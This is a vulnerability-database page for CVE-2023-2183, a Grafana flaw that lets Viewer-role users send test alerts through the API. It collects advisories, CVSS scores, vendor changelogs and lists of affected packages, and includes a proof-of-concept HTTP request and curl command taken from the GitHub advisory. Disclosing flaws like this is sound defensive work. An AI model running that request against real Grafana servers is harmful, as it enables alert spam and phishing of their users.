Every CVE Search/ Get API key

CVE-2023-2183

Grafana has Broken Access Control in Alert manager: Viewer can send test alerts

4.1 MediumFix available

Grafana is an open-source platform for monitoring and observability.

The option to send a test alert is not available from the user panel UI for users having the Viewer role. It is still possible for a user with the Viewer role to send a test alert using the API as the API does not check access to this function.

This might enable malicious users to abuse the functionality by sending multiple alert messages to e-mail and Slack, spamming users, prepare Phishing attack or block SMTP server.

Users may upgrade to version 9.5.3, 9.4.12, 9.3.15, 9.2.19 and 8.5.26 to receive a fix.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
Required

What an attacker can affect

Confidentiality
Low
Integrity
None
Availability
None

Exploit likelihood

1.03%Up 1.0 points since Jun 7, 2023
90%50%10%1%

What each source reports

CVE List Score used 4.1

Grafana is an open-source platform for monitoring and observability.

The option to send a test alert is not available from the user panel UI for users having the Viewer role. It is still possible for a user with the Viewer role to send a test alert using the API as the API does not check access to this function.

This might enable malicious users to abuse the functionality by sending multiple alert messages to e-mail and Slack, spamming users, prepare Phishing attack or block SMTP server.

Users may upgrade to version 9.5.3, 9.4.12, 9.3.15, 9.2.19 and 8.5.26 to receive a fix.

Record
CVE-2023-2183
CVSS 3.1
4.1 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N
Weakness
CWE-284
Updated
2026-11-02
EUVDEUVD-2023-1778 4.1

Grafana is an open-source platform for monitoring and observability.

The option to send a test alert is not available from the user panel UI for users having the Viewer role. It is still possible for a user with the Viewer role to send a test alert using the API as the API does not check access to this function.

This might enable malicious users to abuse the functionality by sending multiple alert messages to e-mail and Slack, spamming users, prepare Phishing attack or block SMTP server.

Users may upgrade to version 9.5.3, 9.4.12, 9.3.15, 9.2.19 and 8.5.26 to receive a fix.

Record
EUVD-2023-1778
CVSS 3.1
4.1 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N
Updated
2026-11-03
GitHub AdvisoriesGHSA-cvm3-pp2j-chr3 4.1

Grafana has Broken Access Control in Alert manager: Viewer can send test alerts

Summary

Grafana allows an attacker in the Viewer role, send alerts by API Alert - Test. The option is not available from the user panel UI for in the Viewer role.

Reason for the error: The API does not check access to this function and allows it by users with the least rights, for example, the Viewer that does not see this option in the user panel.

This enables malicious users to abuse the functionality by sending multiple alert messages (e-mail, slack, etc…), spamming users, prepare Phishing attack or blocked SMTP server / IP and automatically moved all message to spam folder, add to black list IP.

Details

The logged-in user, in the Viewer role, in the user panel, does not have access to the test option of sending an e-mail alert.

View of the panel for the user in the Viewer role:

Admin role - View panel for admin role:

Admin role - Next step – editing:

Admin role - Additional options:

PoC

HTTP Request by user in role Viewer

POST /api/alertmanager/grafana/config/api/v1/receivers/test HTTP/1.1
Host: xxx
Cookie: grafana_session=xxx
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xxx/alerting/notifications/receivers/grafana-default-email/edit?alertmanager=grafana
accept: application/json, text/plain, */*
content-type: application/json
…

{"receivers":[{"name":"test","grafana_managed_receiver_configs":[{"settings":{"addresses":"<[email protected]>",
"singleEmail":true},"secureSettings":{},"type":"email","name":"test","disableResolveMessage":false}]}],
"alert":{"annotations":{"runbook_url":"http://example.com ","description":"tekst","testowy":"test http://example.com",
"more":"http://example.com "},"labels":{}}}

HTTP Response:

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: application/json
Expires: -1
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block
Date: Wed, 05 Apr 2023 10:43:00 GMT
Content-Length: 471

{"alert":{"annotations":{"__value_string__":"[ metric='foo' labels={instance=bar} value=10 ]","description":"tekst",
"more":"http://example.com","runbook_url":"http://example.com","summary":"Notification test",
"testowy":"testowy http://example.com"},"labels":{"alertname":"TestAlert","instance":"Grafana"}},
"receivers":[{"name":"test","grafana_managed_receiver_configs":[{"name":"test","uid":"ojUhNFL4k","status":"ok"}]}],
"notified_at":"2023-04-05T12:43:00.1430203+02:00"}

Result:

The attacker can send as a template alert or plain/text.

Impact

As I showed above, an enabled user in the lowest role can execute an endpoint API that allows him to send an e-mail as an alert and impersonate its content. If modified accordingly, the recipient may fall victim to a Phishing attack or a targeted attack to block the SMTP server.

From a practical point of view, this means that for each "GrafanaReceiver" e.g.: Slack, E-mail, etc.. You can send any alert message from user with the least privileged.

CURL example – using a user session in the Viewer role:

curl -i -s -k -X $'POST' \
    -H $'Host: localhost:3002' -H $'Content-Length: 386' -H $'sec-ch-ua: \"Not:A-Brand\";v=\"99\", \"Chromium\";v=\"112\"' -H $'accept: application/json, text/plain, */*' -H $'content-type: application/json' -H $'x-grafana-org-id: 1' -H $'sec-ch-ua-mobile: ?0' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0;…
Record
GHSA-cvm3-pp2j-chr3
CVSS 3.1
4.1 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N
Weakness
CWE-284
Updated
2026-11-02
NVD 4.1

Grafana is an open-source platform for monitoring and observability.

The option to send a test alert is not available from the user panel UI for users having the Viewer role. It is still possible for a user with the Viewer role to send a test alert using the API as the API does not check access to this function.

This might enable malicious users to abuse the functionality by sending multiple alert messages to e-mail and Slack, spamming users, prepare Phishing attack or block SMTP server.

Users may upgrade to version 9.5.3, 9.4.12, 9.3.15, 9.2.19 and 8.5.26 to receive a fix.

Record
CVE-2023-2183
CVSS 3.1
4.1 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N
CVSS 3.1
6.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Weakness
CWE-284, CWE-862
Updated
2026-11-02
OSV 4.1

Grafana is an open-source platform for monitoring and observability.

The option to send a test alert is not available from the user panel UI for users having the Viewer role. It is still possible for a user with the Viewer role to send a test alert using the API as the API does not check access to this function.

This might enable malicious users to abuse the functionality by sending multiple alert messages to e-mail and Slack, spamming users, prepare Phishing attack or block SMTP server.

Users may upgrade to version 9.5.3, 9.4.12, 9.3.15, 9.2.19 and 8.5.26 to receive a fix.

Record
CVE-2023-2183
CVSS 3.1
4.1 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N
Weakness
CWE-284
Updated
2026-11-02
OSVGHSA-cvm3-pp2j-chr3 4.1

Grafana has Broken Access Control in Alert manager: Viewer can send test alerts

Summary

Grafana allows an attacker in the Viewer role, send alerts by API Alert - Test. The option is not available from the user panel UI for in the Viewer role.

Reason for the error: The API does not check access to this function and allows it by users with the least rights, for example, the Viewer that does not see this option in the user panel.

This enables malicious users to abuse the functionality by sending multiple alert messages (e-mail, slack, etc…), spamming users, prepare Phishing attack or blocked SMTP server / IP and automatically moved all message to spam folder, add to black list IP.

Details

The logged-in user, in the Viewer role, in the user panel, does not have access to the test option of sending an e-mail alert.

View of the panel for the user in the Viewer role:

Admin role - View panel for admin role:

Admin role - Next step – editing:

Admin role - Additional options:

PoC

HTTP Request by user in role Viewer

POST /api/alertmanager/grafana/config/api/v1/receivers/test HTTP/1.1
Host: xxx
Cookie: grafana_session=xxx
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://xxx/alerting/notifications/receivers/grafana-default-email/edit?alertmanager=grafana
accept: application/json, text/plain, */*
content-type: application/json
…

{"receivers":[{"name":"test","grafana_managed_receiver_configs":[{"settings":{"addresses":"<[email protected]>",
"singleEmail":true},"secureSettings":{},"type":"email","name":"test","disableResolveMessage":false}]}],
"alert":{"annotations":{"runbook_url":"http://example.com ","description":"tekst","testowy":"test http://example.com",
"more":"http://example.com "},"labels":{}}}

HTTP Response:

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: application/json
Expires: -1
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block
Date: Wed, 05 Apr 2023 10:43:00 GMT
Content-Length: 471

{"alert":{"annotations":{"__value_string__":"[ metric='foo' labels={instance=bar} value=10 ]","description":"tekst",
"more":"http://example.com","runbook_url":"http://example.com","summary":"Notification test",
"testowy":"testowy http://example.com"},"labels":{"alertname":"TestAlert","instance":"Grafana"}},
"receivers":[{"name":"test","grafana_managed_receiver_configs":[{"name":"test","uid":"ojUhNFL4k","status":"ok"}]}],
"notified_at":"2023-04-05T12:43:00.1430203+02:00"}

Result:

The attacker can send as a template alert or plain/text.

Impact

As I showed above, an enabled user in the lowest role can execute an endpoint API that allows him to send an e-mail as an alert and impersonate its content. If modified accordingly, the recipient may fall victim to a Phishing attack or a targeted attack to block the SMTP server.

From a practical point of view, this means that for each "GrafanaReceiver" e.g.: Slack, E-mail, etc.. You can send any alert message from user with the least privileged.

CURL example – using a user session in the Viewer role:

curl -i -s -k -X $'POST' \
    -H $'Host: localhost:3002' -H $'Content-Length: 386' -H $'sec-ch-ua: \"Not:A-Brand\";v=\"99\", \"Chromium\";v=\"112\"' -H $'accept: application/json, text/plain, */*' -H $'content-type: application/json' -H $'x-grafana-org-id: 1' -H $'sec-ch-ua-mobile: ?0' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0;…
Record
GHSA-cvm3-pp2j-chr3
CVSS 3.1
4.1 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N
Weakness
CWE-284
Updated
2026-11-02
Show 10 moreShow less
OSVRHSA-2023:7740 7.5

Red Hat Security Advisory: Red Hat Ceph Storage 6.1 security, enhancements, and bug fix update

Record
RHSA-2023:7740
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2023-2183 4.1

Grafana is an open-source platform for monitoring and observability. The option to send a test alert is not available from the user panel UI for users having the Viewer role. It is still possible for a user with the Viewer role to send a test alert using the API as the API does not check access to this function. This might enable malicious users to abuse the functionality by sending multiple alert messages to e-mail and Slack, spamming users, prepare Phishing attack or block SMTP server. Users may upgrade to version 9.5.3, 9.4.12, 9.3.15, 9.2.19 and 8.5.26 to receive a fix.

Record
UBUNTU-CVE-2023-2183
CVSS 3.1
4.1 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N
CVSS 3.1
6.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Updated
2026-11-02
OSVBIT-grafana-2023-2183 No score

Grafana is an open-source platform for monitoring and observability.

The option to send a test alert is not available from the user panel UI for users having the Viewer role. It is still possible for a user with the Viewer role to send a test alert using the API as the API does not check access to this function.

This might enable malicious users to abuse the functionality by sending multiple alert messages to e-mail and Slack, spamming users, prepare Phishing attack or block SMTP server.

Users may upgrade to version 9.5.3, 9.4.12, 9.3.15, 9.2.19 and 8.5.26 to receive a fix.

Record
BIT-grafana-2023-2183
Updated
2026-11-02
OSVopenSUSE-SU-2024:13027-1 No score

grafana-10.0.1-2.1 on GA media

These are all security issues fixed in the grafana-10.0.1-2.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2024:13027-1
Updated
2026-11-02
OSVSUSE-SU-2023:2915-1 No score

Security update for SUSE Manager Client Tools

This update fixes the following issues:

grafana:

  • Update to version 9.5.5:
    • CVE-2023-3128: Fix authentication bypass using Azure AD OAuth (bsc#1212641, jsc#PED-3694)
    • Bug fixes:
      • Auth: Show invite button if disable login form is set to false.
      • Azure: Fix Kusto auto-completion for Azure datasources.
      • RBAC: Remove legacy AC editor and admin role on new dashboard route.
      • API: Revert allowing editors to access GET /datasources.
      • Settings: Add ability to override skip_org_role_sync with Env variables.
  • Update to version 9.5.3:
    • CVE-2023-2801: Query: Prevent crash while executing concurrent mixed queries (bsc#1212099)
    • CVE-2023-2183: Alerting: Require alert.notifications:write permissions to test receivers and templates (bsc#1212100)
  • Update to version 9.5.2: Alerting: Scheduler use rule fingerprint instead of version. Explore: Update table min height. DataLinks: Encoded URL fixed. TimeSeries: Fix leading null-fill for missing intervals. Dashboard: Revert fixed header shown on mobile devices in the new panel header. PostgreSQL: Fix TLS certificate issue by downgrading lib/pq. Provisioning: Fix provisioning issues with legacy alerting and data source permissions. Alerting: Fix misleading status code in provisioning API. Loki: Fix log samples using instant queries. Panel Header: Implement new Panel Header on Angular Panels. Azure Monitor: Fix bug that was not showing resources for certain locations. Alerting: Fix panic when reparenting receivers to groups following an attempted rename via Provisioning. Cloudwatch Logs: Clarify Cloudwatch Logs Limits.
  • Update to 9.5.1 Loki Variable Query Editor: Fix bug when the query is updated Expressions: Fix expression load with legacy UID -100
Record
SUSE-SU-2023:2915-1
Updated
2026-11-02
OSVSUSE-SU-2023:2916-1 No score

Security update for grafana

This update fixes the following issues:

grafana:

  • Update to version 9.5.5:
    • CVE-2023-3128: Fix authentication bypass using Azure AD OAuth (bsc#1212641, jsc#PED-3694)
    • Bug fixes:
      • Auth: Show invite button if disable login form is set to false.
      • Azure: Fix Kusto auto-completion for Azure datasources.
      • RBAC: Remove legacy AC editor and admin role on new dashboard route.
      • API: Revert allowing editors to access GET /datasources.
      • Settings: Add ability to override skip_org_role_sync with Env variables.
  • Update to version 9.5.3:
    • CVE-2023-2801: Query: Prevent crash while executing concurrent mixed queries (bsc#1212099)
    • CVE-2023-2183: Alerting: Require alert.notifications:write permissions to test receivers and templates (bsc#1212100)
  • Update to version 9.5.2: Alerting: Scheduler use rule fingerprint instead of version. Explore: Update table min height. DataLinks: Encoded URL fixed. TimeSeries: Fix leading null-fill for missing intervals. Dashboard: Revert fixed header shown on mobile devices in the new panel header. PostgreSQL: Fix TLS certificate issue by downgrading lib/pq. Provisioning: Fix provisioning issues with legacy alerting and data source permissions. Alerting: Fix misleading status code in provisioning API. Loki: Fix log samples using instant queries. Panel Header: Implement new Panel Header on Angular Panels. Azure Monitor: Fix bug that was not showing resources for certain locations. Alerting: Fix panic when reparenting receivers to groups following an attempted rename via Provisioning. Cloudwatch Logs: Clarify Cloudwatch Logs Limits.
  • Update to 9.5.1 Loki Variable Query Editor: Fix bug when the query is updated Expressions: Fix expression load with legacy UID -100
Record
SUSE-SU-2023:2916-1
Updated
2026-11-02
OSVSUSE-SU-2023:2917-1 No score

Security update for SUSE Manager Client Tools

This update fixes the following issues:

grafana:

  • Update to version 9.5.5:
    • CVE-2023-3128: Fix authentication bypass using Azure AD OAuth (bsc#1212641, jsc#PED-3694)
    • Bug fixes:
      • Auth: Show invite button if disable login form is set to false.
      • Azure: Fix Kusto auto-completion for Azure datasources.
      • RBAC: Remove legacy AC editor and admin role on new dashboard route.
      • API: Revert allowing editors to access GET /datasources.
      • Settings: Add ability to override skip_org_role_sync with Env variables.
  • Update to version 9.5.3:
    • CVE-2023-2801: Query: Prevent crash while executing concurrent mixed queries (bsc#1212099)
    • CVE-2023-2183: Alerting: Require alert.notifications:write permissions to test receivers and templates (bsc#1212100)
  • Update to version 9.5.2: Alerting: Scheduler use rule fingerprint instead of version. Explore: Update table min height. DataLinks: Encoded URL fixed. TimeSeries: Fix leading null-fill for missing intervals. Dashboard: Revert fixed header shown on mobile devices in the new panel header. PostgreSQL: Fix TLS certificate issue by downgrading lib/pq. Provisioning: Fix provisioning issues with legacy alerting and data source permissions. Alerting: Fix misleading status code in provisioning API. Loki: Fix log samples using instant queries. Panel Header: Implement new Panel Header on Angular Panels. Azure Monitor: Fix bug that was not showing resources for certain locations. Alerting: Fix panic when reparenting receivers to groups following an attempted rename via Provisioning. Cloudwatch Logs: Clarify Cloudwatch Logs Limits.
  • Update to 9.5.1 Loki Variable Query Editor: Fix bug when the query is updated Expressions: Fix expression load with legacy UID -100
Record
SUSE-SU-2023:2917-1
Updated
2026-11-02
OSVSUSE-SU-2023:3136-1 No score

Maintenance update for SUSE Manager 4.3.7 Release Notes

Maintenance update for SUSE Manager 4.3.7 Release Notes:

This is a codestream only update

Record
SUSE-SU-2023:3136-1
Updated
2026-11-02
OSVSUSE-SU-2024:0191-1 No score

Security Beta update for SUSE Manager Client Tools

This update fixes the following issues:

golang-github-QubitProducts-exporter_exporter:

  • Exclude s390 arch
  • Adapted to build on Enterprise Linux.
  • Fix build for RedHat 7
  • Require Go >= 1.14 also for CentOS
  • Add support for CentOS
  • Replace %{?systemd_requires} with %{?systemd_ordering}

golang-github-boynux-squid_exporter:

  • Exclude s390 architecture (gh#SUSE/spacewalk#19050)
  • Enhanced to build on Enterprise Linux 8.

golang-github-lusitaniae-apache_exporter:

  • Do not strip if SUSE Linux Enterprise 15 SP3
  • Exclude debug for RHEL >= 8
  • Build with Go >= 1.20 when the OS is not RHEL
  • Fix apparmor profile for SLE 12
  • Upgrade to version 1.0.0 (jsc#PED-5405)
    • Improved flag parsing
    • Added support for custom headers
  • Build using promu
  • Fix sandboxing options
  • Upgrade to version 0.13.4
    • CVE-2022-32149: Fix denial of service vulnerability (bsc#1204501)
  • Upgrade to version 0.13.3
    • CVE-2022-41723: Fix uncontrolled resource consumption (bsc#1208270)
  • Upgrade to version 0.13.1
    • Fix panic caused by missing flagConfig options
  • Upgrade to version 0.13.0
    • CVE-2022-46146: Fix authentication bypass vulnarability (bsc#1208046)
  • Corrected comment in AppArmor profile
  • Added AppArmor profile
  • Added sandboxing options to systemd service unit
  • Exclude s390 architecture (gh#SUSE/spacewalk#19050)
  • Update to upstream release 0.11.0 (jsc#SLE-24791)
    • Add TLS support
    • Switch to logger, please check --log.level and --log.format flags
  • Update to version 0.10.1
    • Bugfix: Reset ProxyBalancer metrics on each scrape to remove stale data
  • Update to version 0.10.0
    • Add Apache Proxy and other metrics
  • Update to version 0.8.0
    • Change commandline flags
    • Add metrics: Apache version, request duration total
  • Adapted to build on Enterprise Linux 8
  • Require building with Go 1.15
  • Add support for RedHat 8
    • Adjust dependencies on spec file
    • Disable dwarf compression in go build
  • Add support for Red Hat
  • Add %license macro for LICENSE file

golang-github-prometheus-alertmanager:

  • Do not create PIE for s390x architecture
  • Require Go 1.20 or newer for building
  • Remove not used build flags
  • Create position independent executables (PIE)
  • Disable striping the binaries only for SLE 15 SP3
  • Add System/Monitoring group tag
  • Rework service file to use obscpio
    • Run tar and recompress services at buildtime
    • Do not generate automatically changelog entries
  • Update to version 0.26.0 (jsc#PED-7353): https://github.com/prometheus/alertmanager/releases/tag/v0.26.0
    • CVE-2023-40577: Fix stored XSS via the /api/v1/alerts endpoint in the Alertmanager UI (bsc#1218838)
    • Configuration: Fix empty list of receivers and inhibit_rules would cause the alertmanager to crash
    • Templating: Fixed a race condition when using the title function. It is now race-safe
    • API: Fixed duplicate receiver names in the api/v2/receivers API endpoint
    • API: Attempting to delete a silence now returns the correct status code, 404 instead of 500
    • Clustering: Fixes a panic when tls_client_config is empty
    • Webhook: url is now marked as a secret. It will no longer show up in the logs as clear-text
    • Metrics: New label reason for alertmanager_notifications_failed_total metric to indicate the type of error of the alert delivery
    • Clustering: New flag --cluster.label, to help to block any traffic that is not meant for the cluster
    • Integrations: Add Microsoft Teams as a supported integration
  • Update to version 0.25.0: https://github.com/prometheus/alertmanager/releases/tag/v0.25.0
    • Fail configuration loading if api_key and api_key_file are defined at the same time
    • Fix the alertmanager_alerts metric to avoid counting resolved alerts as active. Also added a new alertmanager_marked_alerts metric that retain the old behavior
    • Trim contents of Slack API URLs when reading from files
    • amtool: Avoid panic when the label value matcher is empty
    • Fail configuration…
Record
SUSE-SU-2024:0191-1
Updated
2026-11-02
OSVSUSE-SU-2024:0196-1 No score

Security Beta update for SUSE Manager Client Tools and Salt

This update fixes the following issues:

ansible:

  • Update to version 2.9.27 (jsc#SLE-23631) (jsc#SLE-24133)
    • bsc#1187725 CVE-2021-3620 ansible-connection module discloses sensitive info in traceback error message (in 2.9.27)
    • bsc#1188061 CVE-2021-3583 Template Injection through yaml multi-line strings with ansible facts used in template. (in 2.9.23)
    • bsc#1176460 gh#ansible/ansible#72094 ansible module nmcli is broken in ansible 2.9.13 (in 2.9.15)
  • Update to 2.9.22:
    • CVE-2021-3447 (bsc#1183684) multiple modules expose secured values
    • CVE-2021-20228 (bsc#1181935) basic.py no_log with fallback option
    • CVE-2021-20191 (bsc#1181119) multiple collections exposes secured values
    • CVE-2021-20180 (bsc#1180942) bitbucket_pipeline_variable exposes sensitive values
    • CVE-2021-20178 (bsc#1180816) user data leak in snmp_facts module

dracut-saltboot:

  • Update to version 0.1.1681904360.84ef141
    • Load network configuration even when missing protocol version (bsc#1210640)
  • Update to verion 0.1.1674034019.a93ff61
    • Install copied wicked config as client.xml (bsc#1205599)
  • Update to version 0.1.1673279145.e7616bd
    • Add failsafe stop file when salt-minion does not stop (bsc#1172110)
    • Copy existing wicked config instead of generating new (bsc#1205599)
  • Update to version 0.1.1665997480.587fa10
    • Add dependencies on xz and gzip to support compressed images
  • Update to version 0.1.1661440542.6cbe0da
    • Use standard susemanager.conf
    • Move image services to dracut-saltboot package
    • Use salt bundle
  • Require e2fsprogs (bsc#1202614)
  • Update to version 0.1.1657643023.0d694ce
    • Update dracut-saltboot dependencies (bsc#1200970)
    • Fix network loading when ipappend is used in pxe config
    • Add new information messages

golang-github-QubitProducts-exporter_exporter:

  • Remove license file from %doc
  • Exclude s390 arch
  • Adapted to build on Enterprise Linux.
  • Fix build for RedHat 7
  • Require Go >= 1.14 also for CentOS
  • Add support for CentOS
  • Replace %{?systemd_requires} with %{?systemd_ordering}

golang-github-boynux-squid_exporter:

  • Exclude s390 architecture (gh#SUSE/spacewalk#19050)
  • Enhanced to build on Enterprise Linux 8.

golang-github-lusitaniae-apache_exporter:

  • Do not strip if SUSE Linux Enterprise 15 SP3
  • Exclude debug for RHEL >= 8
  • Build with Go >= 1.20 when the OS is not RHEL
  • Spec file clean up
  • Fix apparmor profile for SLE 12
  • Do not build with apparmor profile for SLE 12
  • Upgrade to version 1.0.0 (jsc#PED-5405)
    • Improved flag parsing
    • Added support for custom headers
  • Build with Go 1.19
  • Build using promu
  • Add _service file
  • Fix sandboxing options
  • Upgrade to version 0.13.4
    • Fix denial of service vulnerability (CVE-2022-32149, bsc#1204501)
  • Upgrade to version 0.13.3
    • Fix uncontrolled resource consumption (CVE-2022-41723, bsc#1208270)
  • Upgrade to version 0.13.1
    • Fix panic caused by missing flagConfig options
  • Upgrade to version 0.13.0
    • Fix authentication bypass vulnarability (CVE-2022-46146, bsc#1208046)
  • Corrected comment in AppArmor profile
  • Added AppArmor profile
  • Added sandboxing options to systemd service unit
  • Exclude s390 architecture (gh#SUSE/spacewalk#19050)
  • Update to upstream release 0.11.0 (jsc#SLE-24791)
    • Add TLS support
    • Switch to logger, please check --log.level and --log.format flags
  • Update to version 0.10.1
    • Bugfix: Reset ProxyBalancer metrics on each scrape to remove stale data
  • Update to version 0.10.0
    • Add Apache Proxy and other metrics
  • Update to version 0.8.0
    • Change commandline flags
    • Add metrics: Apache version, request duration total
  • Adapted to build on Enterprise Linux 8
  • Require building with Go 1.15
  • Add support for RedHat 8
    • Adjust dependencies on spec file
    • Disable dwarf compression in go build
  • Add support for Red Hat
  • Add %license macro for LICENSE file

golang-github-prometheus-prometheus:

  • Update to 2.45.0 (jsc#PED-5406):
    • [FEATURE] API:…
Record
SUSE-SU-2024:0196-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/grafana/grafana
Go
 before 8.5.26
8.5.26
github.com/grafana/grafana
Go
 9.0.0 up to 9.2.19
9.2.19
github.com/grafana/grafana
Go
 9.3.0 up to 9.3.15
9.3.15
github.com/grafana/grafana
Go
 9.4.0 up to 9.4.12
9.4.12
github.com/grafana/grafana
Go
 9.5.0 up to 9.5.3
9.5.3
grafana
Bitnami
 8.0.0 up to 8.5.26, 9.0.0 up to 9.2.19, 9.3.0 up to 9.3.15, 9.4.0 up to 9.4.12, 9.5.0 up to 9.5.3
8.5.269.2.199.3.159.4.129.5.3
ceph
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
ceph-base
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
ceph-base-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
ceph-common
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
Show 103 moreShow less
Affected packages
PackageAffectedFixed
ceph-common-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
ceph-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
ceph-debugsource
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
ceph-exporter-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
ceph-fuse
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
ceph-fuse-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
ceph-immutable-object-cache
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
ceph-immutable-object-cache-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
ceph-mds-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
ceph-mgr-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
ceph-mib
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
ceph-mon-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
ceph-osd-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
ceph-radosgw-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
ceph-resource-agents
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
ceph-selinux
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
ceph-test-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
cephadm
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
cephadm-ansible
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 1:2.18.0-1.el9cp
1:2.18.0-1.el9cp
cephfs-mirror-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
cephfs-top
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
libcephfs-devel
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
libcephfs2
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
libcephfs2-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
libcephsqlite-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
librados-devel
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
librados-devel-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
librados2
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
librados2-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
libradospp-devel
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
libradosstriper1
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
libradosstriper1-debuginfo
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
 before 2:17.2.6-167.el9cp
2:17.2.6-167.el9cp
librbd-devel
Red Hat:ceph_storage:6.1::el9
From an advisory covering 2 CVEs
